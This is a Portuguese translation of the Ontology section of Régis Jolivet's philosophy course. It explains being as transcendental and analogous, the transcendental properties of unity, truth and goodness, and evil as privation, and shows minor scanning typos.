Curso de Filosofia – Régis Jolivet
ONTOLOGIA
18S 1. Noção. — A
Ontologia (ou Metafísica geral) é a ciência do ser enquanto ser e dos
caracteres que pertencem ao ser como tal. A noção de ser, como vimos em
psicologia (141), é a mais alta abstração a que podemos chegar, quando tivermos
despojado de alguma forma os seres singulares de tudo o que os distingue e
deles faz tal ou qual ser determinado.
2. Objeto. — A
Metafísica tem, então, por objeto todos os seres, mas apenas enquanto
são o ser e não enquanto são tais
ou quais seres determinados. Ela é, portanto, a ciência universal. Seu
objeto é o mais abstrato possível na extensão máxima, uma vez que convém a tudo
o que é ou pode ser, e na compreensão mínima, uma vez que abstrai qualquer
nota ou qualidade particular
(11).
3. Divisão. — Pode-se estudar o ser em si mesmo, ou
nassuas grandes divisões, ou ainda como causa.
Capítulo Primeiro
O SER EM SI MESMO
ART. I. O SER É TRANSCENDENTE
189 1. O ser não é um.
gênero. — Poder-se-ia imaginar que sendo os diversos seres espécies de seres, o
ser em geral fosse o gênero supremo.
Mas isto é impossível.
Quando há relação de gênero e espécie, esta acrescenta realmente ao
gênero uma nota que o gênero não continha: "racional" é uma nota que
o conceito de "animal" não contém. Mas ao ser nada se pode
acrescentar, porque tudo o que é, é ser. Logo, o ser não é um gênero.
Em outros termos, se
todos os seres não fossem mais do que espécies diversas do ser (tomado como
gênero supremo), todas as notas que servissem para diversificar o ser estariam
necessariamente, fora do ser, o que eqüivale a dizer que — como o nada não
pode diversificar — não existe senão um único ser. A variedade dos seres
seria apenas uma aparência ilusória. Tal era a teoria de ParMÊnides, que precisamente
considerava o ser como um gênero.
2. O ser é um
transcendental, ou se, unia noção que transcende ou ultrapassa, todas as
categorias do ser e se aplica a tudo que é ou pode ser, de qualquer forma
que seja. Com efeito, cada categoria do ser diz o que é o ser (por exemplo, o
ser é substância, qualidade, relação etc), mas nenhuma o diz adequadamente (o
ser é não apenas substância, mas também acidente; não apenas a qualidade, mas
a quantidade também é ser etc). Dir-se-ia, então, que o conceito de ser é
imanente a todas as categorias, enquanto que todas são ser, mas transcende
a todas, enquanto que, como tal, ele as ultrapasse.
3. Ser finito e
Ser Infinito. — O conceito de ser transcende não apenas cada
categoria de ser singular, mais ainda todas as categorias juntas, uma
vez que envolve, — se bem que sob aspectos essencialmente diferentes — a um
tempo os seres finitos (que se dividem em categorias) e o Ser infinito (que
está acima das categorias) .
ART. II. O SER É ANÁLOGO
190 1. Definições. —
Distinguem-se o termo unívoco, o termo equívoco e o termo análogo (ou analógico).
a) Unívoco diz-se do conceito que pode atribuir-se de uma maneira
absolutamente idêntica a diversos sujeitos. Por exemplo, o conceito de homem se aplica univocamente a Pedro, Paulo, a um negro e a um branco.
b) Equívoco diz-se de um nome que não se aplica a diversos
sujeitos senão num sentido totalmente diferente. Exemplo: o carneiro,
constelação celeste e animal de chifres. — O equívoco não pode jamais ser um
conceito, mas apenas uma palavra que envolve conceitos distintos.
c) Análogo diz-se de um conceito que se refere a realidades
essencialmente diversas, que têm, contudo, uma certa proporção entre si. É,
então, intermediário entre o unívoco e o equívoco, e designa uma noção que se
aplica a vários sujeitos em um sentido nem totalmente idêntico nem totalmente
diferente. Assim, a saúde é uma noção analógica enquanto aplicada a um
alimento, ao rosto e ao corpo. Com efeito, o alimento produz a saúde,
o rosto exprime a saúde; só o corpo a possui.
2. As espécies de analogia. — Distinguem-se:
a) A analogia de
atribuição, que é a de um termo ou de um conceito que convém a muitas
coisas em virtude da relação de uma a outra, a que apenas o termo ou o
conceito se aplicam propriamente e principalmente. Assim, o termo são não
se diz propriamente e principalmente senão do corpo; mas por analogia aplica-se
igualmente ao alimento ou ao clima, que produzem a saúde no corpo, e ao
rosto, que exprime a saúde do corpo.
b) A analogia de
proporcionalidade, que é a de um termo ou de um conceito que convém a
muitas coisas em virtude de uma semelhança de relações. É assim que se fala
da "luz da verdade" significando com isto que a verdade está para a
inteligência como a luz do Sol está para os olhos do corpo. Existe aí como se
vê uma proporção de relações, que se poderia traduzir desta forma:
verdade luz
inteligência visão
corporal
3. A analogia do ser. — Por ai se vê que a noção de ser só
pode ser analógica, O ser, com efeito, não se pode dizer dos diferentes seres
senão sob um aspecto parcialmente semelhante e parcialmente diferente. A
idéia de ser convém a todos os seres, quaisquer que eles sejam: a Deus, ao
anjo, ao homem, ao cachorro, à árvore, à estrela, ao pensamento, à palavra, ao
ar, à sociedade, à amizade, à vida, à ciência, à virtude etc. Mas não convém a
todos estes seres num sentido idêntico, porque cada um deles é ser de uma
maneira absolutamente especial e própria: o ser de Deus ê essencialmente
diferente do ser do homem; o ser do animal é essencialmente diferente do ser
do homem; o ser da pedra, essencialmente diferente do ser da planta etc. Por
isso, dizemos que entre estes diferentes seres há uma relação de analogia.
191 4. Unidade relativa da idéia de ser. — A
noção de ser, não sendo senão relativamente una, é confusa. Com efeito:
a) A noção de ser, na sua mais alta generalidade, compreende todas as
formas, reais ou possíveis, em que o ser pode existir. (Diz-se, em termos
técnicos, que a noção de ser conota a existência, quer dizer, que ela
não pode ser pensada senão quando se refira à variada multidão de modos de
existência.) Deste ponto-de-vista, a noção de ser é essencialmente diversa, porque
o ser é essencialmente diverso: como o ser pode ser realizado e de fato é
realizado de múltiplas maneiras, a noção de ser deve conter esta diversidade.
b) Mas, de outra parte, ela contém apenas
confusamente esta diversidade, neste
sentido de que envolve a universalidade dos seres, sem representar a nenhum em particular. Deste ponto-de-vista, a noção de ser tem uma certa unidade, a saber,
enquanto que retendo em si, vagamente, a idéia da diversidade dos seres, disto
faz, de uma certa maneira, abstração. Esta unidade, como se vê, é imperfeita e
informe. E daí advém o sentimento de confusão que esta noção traz e, em geral,
a noção analógica.
c) Esta noção de
ser pertence necessariamente a todos os homens, desde que comecem a pensar. Mas
tem, para o não-filósofo, um caráter de confusão que não resulta de uma tomada
de consciência refletida da complexidade da noção. É, ao contrário, o que
chega a adquirir o filósofo refletindo sobre a noção de ser. Ele não suprime a
confusão, que lhe é essencial; mas descobre as razões desta confusão; é uma
grande clareza saber por que a noção de ser é necessariamente confusa.
ART. III. AS PROPRIEDADES TRANSCENDENTAIS DO SER
§ 1. Noções
Gerais
192 1. As três
propriedades transcendentais. — Tudo que existe ou pode existir é uno,
verdadeiro e bom. Estas três propriedades acompanham inseparàvelmente o ser
e são um só com ele. É isto o que exprime o axioma: "o uno,
o verdadeiro e o bom são convertíveis com o ser". Eis porque são chamados transcendentais, enquanto se identificam realmente com o ser, que é transcendente.
2. Relação do ser e de
suas propriedades. — Dissemos que os transcendentais coincidem realmente com
o ser. Com efeito, como o ser não é um gênero, não é suscetível de receber um
atributo que o determine "de fora" (da mesma forma que a diferença
específica vem do exterior ao gênero, que não a compreende). Todas as suas
determinações lhe vêm então "de dentro", por via de explicitação.
Neste sentido, as propriedades do uno, do verdadeiro, do bom não acrescentam
nada de real ao ser, já que por sua vez Elas são do ser. O ser
necessariamente as contém. Elas não fazem mais do que esclarecer os diferentes aspectos do ser: sob este aspecto, não são, tampouco, simples tautologias.
3. Dedução das
propriedades transcendentais. — O ser pode ser considerado quer em si mesmo,
quer relativamente:
a) Considerando-o em si,
absolutamente, nada se pode dizer
dele senão que é o ser.
b) Considerando-o ainda em m
mesmo, mas agora negativamente, não
se pode senão assinalar que ele é indiviso em si mesmo, quer dizer, uno.
c) Pondo-o em relação com a
inteligência, descobre-se que o ser é verdadeiro; — pondo-o em relação com a vontade, o ser aparece
como bom. O mal, sendo o contrário do bem, é por isso mesmo o contrário
do ser, quer dizer que é não-ser, ou, em outros termos, privação de um
bem devido a uma natureza.
§ 2. O UNO
1. A unidade exclui
a divisão em ato. — Todo ser é uno por essência. Com efeito, o ser pode ser
simples ou composto. Ora, o que é simples só pode ser indiviso, pela
própria definição. O que é composto não forma ser (quer dizer, não
existe), enquanto suas partes estão reunidas e constituem o próprio composto.
2. A noção de unidade é analógica. — O ser não é uno
univocamente, mas analògicamente (190). A analogia do uno resulta, com
efeito, da analogia do ser, uma vez que o ser e o uno são convertíveis, ou,
em outros termos, se todos os seres são unos (ou indivisos), pelo próprio fato
de que são seres, cada tipo de ser é uno, de uma unidade que lhe é própria.
Ê, de resto, o que a
experiência mostra claramente, porque vemos que a unidade interna dos seres
comporta graus mv.ito diversos, desde o todo essencial (um homem,
uma árvore), até o todo acidental (uma casa, uma máquina). Abaixo,
ainda, desta unidade acidental, há toda uma gama de unidades de
continuidade (o vôo do pássaro, a trajetória do obus), que são obra da
inteligência. A unidade está, pois, em toda parte em que existe ser, mas
encerra a mesma flexibilidade analógica do ser, do qual esposa a necessária
transcendência.
3. Divisão da
unidade transcendental. — A unidade transcendental compreende:
a) A unidade de simplicidade. Esta unidade é a do ser que não tem partes. Apenas
Deus exclui absolutamente qualquer espécie de composição; quer dizer que o Ser
divino é absolutamente simples e perfeitamente uno.
b) A unidade de composição. Esta unidade é a do ser que se compõe de partes.
Devem-se distinguir aqui
diversas categorias, a saber: a unidade essencial, ou unidade daquilo que
tem apenas uma essência, por exemplo, a unidade de um corpo orgânico, de um
carvalho, de um homem, — a unidade acidental ou unidade daquilo que tem
várias essências: esta unidade acidental pode resultar quer de uma união
extrínseca, ou por fora, dos elementos componentes: um monte de seixos, uma
mesa, um aparelho de T.S.F. — quer de uma união intrínseca, ou por
dentro, dos elementos: por exemplo, a união de Pedro com a ciência que
adquiriu.
4. A multiplicidade transcendental. — A unidade transcendental,
como vimos (69), é princípio da multiplicidade transcendental, quer
dizer, da pluralidade dos seres de que cada um é uno (de uma unidade mais ou
menos perfeita). Esta pluralidade não forma um número (um cavalo, um
carvalho, um homem, uma estrela não somam quatro). Não se forma um número
senão das partes de um todo quantitativo ou dos seres considerados como
partes de um todo: é assim que se falará das dez peças de uma casa, ou ainda de
dez homens, considerados como dez partes da espécie humana. Poder-se-ia também
dizer (mas impropriamente) que um cavalo, um homem, um carvalho, uma estrela
formam quatro coisas ou seres, considerando-os, desta vez, como partes do ser.
§ 3. O VERDADEIRO
192bis 1. A verdade transcendental. — Já indicamos (30) a distinção a fazer entre verdade transcendental e
verdade lógica. Esta. como dizíamos, exprime a conformidade da inteligência com
aquilo que é. Ela é, então, uma qualidade ou uma propriedade da inteligência.
A verdade transcendental é uma propriedade dos seres, pois é o próprio
ser das coisas enquanto inteligíveis, quer dizer, cognoscíveis pela
inteligência.
2. A inteligibilidade: — Vê-se daí que a inteligibilidade
(ou cognoscibilidade) é uma propriedade transcendental que acompanha o ser
inseparàvelmente, mas segundo graus diversos, em todas as suas
determinações. O ser, colocado em presença de uma inteligência, é inteligível
tal qual é. Reciprocamente, a inteligência é, por sua própria
natureza, aberta à universalidade do ser, uma vez que, como acabamos de ver, o
ser, como tal, é inteligível. Diremos então que a inteligibilidade, indo de par
com o ser, as coisas são inteligíveis na proporção do ser que têm.
A inteligência em
nós, todavia, está submetida a condições que lhe limitam a extensão e o
alcance. Como já notamos mais acima (187), ela está, enquanto inteligência humana, ordenada ao ser da experiência sensível. Daí resulta que tudo o que
está acima do sensível, se bem que inteligível em si (já que quanto mais imaterial
um ser mais ele é acessível à inteligência), é de fato para nós, menos
inteligível. — Da mesma forma, o que está abaixo do ser propriamente dito, quer
dizer, o que é potencialidade e virtualidade não nos é senão
imperfeitamente inteligível. Nosso conhecimento se desenvolve então entre
duas zonas obscuras: uma tem luz demais para a nossa inteligência e nos
cega; a outra tem luz de menos para a nossa capacidade intelectual finita.
§ 4. O BEM
1.
A relação com a tendência. — A
bondade exprime de princípio uma relação com uma tendência: o ser é bom
enquanto pode atender a uma necessidade ou aplacar um desejo. A bondade,
propriedade transcendental, não faz mais do que exprimir sob forma explícita a
relação de conveniência existente entre o ser e a tendência.
2.
O bem transcendental. — O bem,
sendo o termo da tendência e do desejo, aparece então como sendo, por si, ser
e perfeição, pois todos os seres desejam a perfeição do seu ser. Assim, o fim
e o bem coincidem: todo fim é um bem e todo bem é ou pode ser um fim.
O fim pode apresentar-se de alguma maneira em graus,
como desejado por aqueles que não o atingiram, ou como deleitável e
objeto de amor por aqueles que o possuem. Ora, aí estão precisamente os
caracteres do ser, que é a um tempo objeto de desejo e fonte de deleite e de
alegria. É, então, como tal, um bem, e daí se segue que o bem e o ser são
convertíveis: tudo o que é ser é bom enquanto e na medida em que é ser.
3. As três espécies do bem.
— Pode-se dividir o bem em bem útil, deleitável e honesto.
a) O útil. O bem útil é o que serve de meio tendo em
vista um bem. Todo o seu valor de bem, enquanto útil, consiste então na sua
capacidade de procurar um outro bem; em si mesmo, pode não ter nada de atraente
(o remédio ou a operação cirúrgica para o doente).
b) O deleitável. O bem deleitável é o que proporciona alegria e
satisfação: tais como uma obra de arte, o esporte ou o jogo.
c) O honesto. O bem honesto é o que nos atrai, não pela utilidade
ou gozo que proporciona, mas antes de tudo em razão da perfeição que traz.
Vê-se daí que o bem
primeiro e propriamente dito é o que responde ao fim essencial do ser (que
é o de dar a perfeição): é o bem honesto. — O bem deleitável é verdadeiramente,
enquanto mesmo que deleitável, um fim da tendência, mas não seu fim último, porque
o gozo não é a totalidade do bem, mas somente um aspecto do fim. — Enfim, o
útil está evidentemente no último grau do bem, já que não é fim, mas meio.
4. O mal. — O mal, que é o
contrário do bem transcendental, consiste, para um ser, na privação de
um bem que lhe toca. E uma falta ou uma deficiência de ser. Estes termos
de privação, falta e deficiência, servem para marcar que se trata, não da
ausência pura e simples de uma perfeição qualquer, mas da ausência de um bem necessário
à integridade de um dado ser. Assim, a cegueira não é um mal senão para o
que vê {privação), mas não para a pedra, a que não compete ver {negação).
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